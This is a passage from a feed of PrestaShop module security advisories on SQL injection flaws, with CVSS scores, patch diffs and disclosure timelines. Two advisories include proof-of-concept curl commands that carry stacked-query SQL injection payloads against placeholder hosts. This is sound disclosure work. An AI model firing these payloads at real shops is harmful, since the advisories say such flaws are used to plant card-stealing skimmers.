</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Module One Page Checkout, Social Login &amp; Mailchimp” (supercheckout) up to version 6.0.6 from KnowBand for PrestaShop, a guest can upload dangerous files with extensions .php.]]></summary></entry><entry><title type="html">[CVE-2023-45386] Improper neutralization of SQL parameter in MyPresta.eu - Product Extra Tabs Pro for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/12/extratabspro.html" rel="alternate" type="text/html" title="[CVE-2023-45386] Improper neutralization of SQL parameter in MyPresta.eu - Product Extra Tabs Pro for PrestaShop" /><published>2023-10-12T00:00:00+00:00</published><updated>2023-10-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/12/extratabspro</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/12/extratabspro.html"><![CDATA[<p>In the module “Product Extra Tabs Pro” (extratabspro) up to version 2.2.8 from MyPresta.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45386">CVE-2023-45386</a></li>
  <li><strong>Published at</strong>: 2023-10-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: extratabspro</li>
  <li><strong>Impacted release</strong>: &lt;= 2.2.7 (2.2.8 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPresta.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">extratabspro::searchcategory()</code>, <code class="language-plaintext highlighter-rouge">extratabspro::searchproduct()</code> and <code class="language-plaintext highlighter-rouge">extratabspro::searchmanufacturer()</code> have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>The exploit can be used even if the module is not activated.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'search_feature=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'</span>
curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'searchsupplier=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'</span>
curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'search=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'</span>
curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'search_product=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'</span>
curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'search_manufacturer=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'</span>
</code></pre></div></div>

<h2 id="patch-from-227">Patch from 2.2.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.2.7/extratabspro/extratabspro.php
</span><span class="gi">+++ 2.2.8/extratabspro/extratabspro.php
</span><span class="err">...</span>
public function searchsupplier($search)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT `id_supplier`,`name` FROM `' . _DB_PREFIX_ . 'supplier` WHERE `name` like "%' . $search . '%" LIMIT 10');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT `id_supplier`,`name` FROM `' . _DB_PREFIX_ . 'supplier` WHERE `name` like "%' . pSQL($search) . '%" LIMIT 10');
</span>    }

    public function getSuppliers($id)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT `id_supplier` FROM `' . _DB_PREFIX_ . 'product_supplier` WHERE `id_product`= ' . $id . ' GROUP BY id_supplier');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT `id_supplier` FROM `' . _DB_PREFIX_ . 'product_supplier` WHERE `id_product`= ' . (int) $id . ' GROUP BY id_supplier');
</span>    }

    public function searchfeature($search)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT `id_feature_value`,`value` as name FROM `' . _DB_PREFIX_ . 'feature_value_lang` WHERE `value` like "%' . (string )$search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" LIMIT 10');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT `id_feature_value`,`value` as name FROM `' . _DB_PREFIX_ . 'feature_value_lang` WHERE `value` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" LIMIT 10');
</span>    }

    public function searchcategory($search)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT `id_category`,`name` FROM `' . _DB_PREFIX_ . 'category_lang` WHERE `name` like "%' . $search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT `id_category`,`name` FROM `' . _DB_PREFIX_ . 'category_lang` WHERE `name` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span>    }

    public function searchproduct($search)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT `id_product`,`name` FROM `' . _DB_PREFIX_ . 'product_lang` WHERE `name` like "%' . $search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT `id_product`,`name` FROM `' . _DB_PREFIX_ . 'product_lang` WHERE `name` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span>    }

    public function searchmanufacturer($search)
    {
<span class="gd">-       return Db::getInstance()-&gt;ExecuteS('SELECT m.`id_manufacturer`,m.`name` FROM `' . _DB_PREFIX_ . 'manufacturer` m LEFT JOIN `' . _DB_PREFIX_ . 'manufacturer_shop` ms ON ms.id_manufacturer = m.id_manufacturer WHERE `name` like "%' . $search . '%" AND ms.id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span><span class="gi">+       return Db::getInstance()-&gt;ExecuteS('SELECT m.`id_manufacturer`,m.`name` FROM `' . _DB_PREFIX_ . 'manufacturer` m LEFT JOIN `' . _DB_PREFIX_ . 'manufacturer_shop` ms ON ms.id_manufacturer = m.id_manufacturer WHERE `name` like "%' . pSQL($search) . '%" AND ms.id_shop="' . $this-&gt;context-&gt;shop-&gt;id . '" LIMIT 10');
</span>    }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>extratabspro</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-04-27</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-04-28</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-04-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-23</td>
      <td>Author confirm version scope</td>
    </tr>
    <tr>
      <td>2023-05-23</td>
      <td>Recontact author to get fixed version of the module to confirm fix</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Relaunch author to get fixed version of the module to confirm fix</td>
    </tr>
    <tr>
      <td>2023-09-26</td>
      <td>Author give the archive of the fix version of the module - fix confirmed</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://mypresta.eu/modules/front-office-features/product-extra-tabs-pro.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45386">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Extra Tabs Pro” (extratabspro) up to version 2.2.8 from MyPresta.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45375] Improper neutralization of SQL parameter in 01generator.com - PireosPay module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html" rel="alternate" type="text/html" title="[CVE-2023-45375] Improper neutralization of SQL parameter in 01generator.com - PireosPay module for PrestaShop" /><published>2023-10-12T00:00:00+00:00</published><updated>2023-10-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/12/pireospay</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/12/pireospay.html"><![CDATA[<p>In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45375">CVE-2023-45375</a></li>
  <li><strong>Published at</strong>: 2023-10-12</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pireospay</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7.9 (1.7.10 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: 01generator.com</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PireosPayValidationModuleFrontController::postProcess()</code> have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'ajax=true&amp;MerchantReference=1%22;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.XX/module/pireospay/validation'</span>
</code></pre></div></div>

<h2 id="patch-from-179">Patch from 1.7.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7.9/modules/pireospay/controllers/front/validation.php
</span><span class="gi">+++ 1.7.10/modules/pireospay/controllers/front/validation.php
</span><span class="err">...</span>
            if ($post_data_array[7]) {
<span class="gd">-               $query = 'SELECT * FROM `' . _DB_PREFIX_ . 'pireospay` WHERE cart_id="' . $post_data_array[7] . '"';
</span><span class="gi">+               $query = 'SELECT * FROM `' . _DB_PREFIX_ . 'pireospay` WHERE cart_id="' . pSQL($post_data_array[7]) . '"';
</span><span class="err">...</span>
                                $customer = new Customer((int) $cart-&gt;id_customer);
                                $amount_sql = 'SELECT amount FROM ' . _DB_PREFIX_ .
<span class="gd">-                               'pireospay where cart_id="' . addslashes($post_data_array[7]) .
</span><span class="gi">+                               'pireospay where cart_id="' . pSQL($post_data_array[7]) .
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pireospay</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-06-22</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-02</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/paiement-carte-wallet/21279-pireospay.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45375">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “PireosPay” (pireospay) up to version 1.7.9 from 01generator.com for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-37824] Improper neutralization of SQL parameters in the Sitolog Application Connect module from Sitolog for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/11/sitologapplicationconnect.html" rel="alternate" type="text/html" title="[CVE-2023-37824] Improper neutralization of SQL parameters in the Sitolog Application Connect module from Sitolog for PrestaShop" /><published>2023-10-11T00:00:00+00:00</published><updated>2023-10-11T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/11/sitologapplicationconnect</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/11/sitologapplicationconnect.html"><![CDATA[<p>In the module “Sitolog Application Connect” (sitologapplicationconnect) from Sitolog for PrestaShop, an anonymous user can perform a SQL injection. <strong>The module is obsolete and must be deleted.</strong></p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-37824">CVE-2023-37824</a></li>
  <li><strong>Published at</strong>: 2023-10-11</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: sitologapplicationconnect</li>
  <li><strong>Impacted release</strong>: &lt;= 7.8.a (ALL VERSIONS)</li>
  <li><strong>Product author</strong>: Sitolog</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In sitologapplicationconnect module from Sitolog for PrestaShop up to version 7.8.a (all versions), a sensitive SQL call can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p><strong>This obsolete module has been replaced since 2018 by the new module renamed “Sitolog Connector”.</strong></p>

<p>Note : the most recent version (currently V9.0) of “Sitolog Connector” is available to download for free for all Sitolog customers on www.sitolog.com. This up to date connector supports all our applications versions.</p>

<p>As a reminder, the 3 older applications PrestaPricing, PrestaCategories and Merlin Backoffice standard are also obsolete (no more update either support) and must be replaced by Merlin Backoffice Flex using more recent technologies (http2 instead of http1, support of PHP8, MySQL above 7.5 …).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete this module and download the new module freely available on www.sitolog.com</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-29</td>
      <td>Issue discovered after a security audit by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-12-29</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2022-12-29</td>
      <td>Author confirm version scope</td>
    </tr>
    <tr>
      <td>2023-07-08</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-09</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Sitolog thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.sitolog.com/fr/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-37824">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Sitolog&quot;, &quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Sitolog Application Connect” (sitologapplicationconnect) from Sitolog for PrestaShop, an anonymous user can perform a SQL injection. The module is obsolete and must be deleted.]]></summary></entry><entry><title type="html">[CVE-2023-30154] Improper neutralization of SQL parameters in AfterMail (aftermailpresta) module from Shoprunners for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/10/aftermailpresta.html" rel="alternate" type="text/html" title="[CVE-2023-30154] Improper neutralization of SQL parameters in AfterMail (aftermailpresta) module from Shoprunners for PrestaShop" /><published>2023-10-10T00:00:00+00:00</published><updated>2023-10-10T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/10/aftermailpresta</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/10/aftermailpresta.html"><![CDATA[<p>Multiple SQL injection vulnerabilities in the AfterMail (aftermailpresta) module from Shoprunners for PrestaShop, prior to version 2.2.1, allows remote attackers to execute arbitrary SQL commands via the <code class="language-plaintext highlighter-rouge">id_customer</code>, <code class="language-plaintext highlighter-rouge">id_conf</code>, <code class="language-plaintext highlighter-rouge">id_product</code> or <code class="language-plaintext highlighter-rouge">token</code> parameter in <code class="language-plaintext highlighter-rouge">aftermailajax.php</code> and via the <code class="language-plaintext highlighter-rouge">id_product</code> parameter in hooks <code class="language-plaintext highlighter-rouge">DisplayRightColumnProduct</code> and <code class="language-plaintext highlighter-rouge">DisplayProductButtons</code>.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30154">CVE-2023-30154</a></li>
  <li><strong>Published at</strong>: 2023-10-10</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: aftermailpresta</li>
  <li><strong>Impacted release</strong>: &lt; 2.2.1 (fixed in 2.2.1)</li>
  <li><strong>Product author</strong>: Shoprunners</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the AfterMail (aftermailpresta) module for PrestaShop, multiple vulnerabilities can be exploited in versions prior to 2.2.1:</p>
<ul>
  <li>An HTTP request can be manipulated using the <code class="language-plaintext highlighter-rouge">id_customer</code>, <code class="language-plaintext highlighter-rouge">id_conf</code>, <code class="language-plaintext highlighter-rouge">id_product</code> or <code class="language-plaintext highlighter-rouge">token</code> GET parameters, in the <code class="language-plaintext highlighter-rouge">/modules/aftermailpresta/aftermailajax.php</code> endpoint, enabling a remote attacker to perform a SQL injection.</li>
  <li>An HTTP request can be manipulated using <code class="language-plaintext highlighter-rouge">id_product</code> GET parameter, in the <code class="language-plaintext highlighter-rouge">/modules/aftermailpresta/aftermailpresta.php</code> endpoint (in <code class="language-plaintext highlighter-rouge">DisplayRightColumnProduct</code> and <code class="language-plaintext highlighter-rouge">DisplayProductButtons</code> hooks), enabling a remote attacker to perform a SQL injection.</li>
</ul>

<p>Since one of these vulnerabilities relies on PrestaShop’s hooks system, this will, by design, hide the module path. As a result, conventional frontend logs won’t reveal that this vulnerability is being exploited. Only <code class="language-plaintext highlighter-rouge">POST /{product_path}</code> or <code class="language-plaintext highlighter-rouge">GET /{product_path}</code> will be visible in logs. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>These issues are fixed in version 2.2.1, published in September 2022.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<p>Multiple SQL injections fixed in <code class="language-plaintext highlighter-rouge">aftermailajax.php</code>:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- modules/aftermailpresta/aftermailajax.php
</span><span class="gi">+++ modules/aftermailpresta/aftermailajax.php
</span><span class="p">@@ -45,7 +45,7 @@</span> function subscribe()
     $id_conf = Tools::getValue('id_conf');
     $id_customer = Context::getContext()-&gt;customer-&gt;id;
     
<span class="gd">-    $result = Db::getInstance()-&gt;ExecuteS('SELECT * FROM `' . _DB_PREFIX_ . 'aftermail_queue` ' . 'WHERE id_product = ' . $id_product . ' AND id_customer = ' . $id_customer);
</span><span class="gi">+    $result = Db::getInstance()-&gt;ExecuteS('SELECT * FROM `' . _DB_PREFIX_ . 'aftermail_queue` ' . 'WHERE id_product = ' . (int)$id_product . ' AND id_customer = ' . (int)$id_customer);
</span>     $taken = false;
     $saved = false;
     if (empty($result)) {
<span class="p">@@ -74,7 +74,7 @@</span> function unsubscribe()
     
     $token = Tools::getValue('token');
     
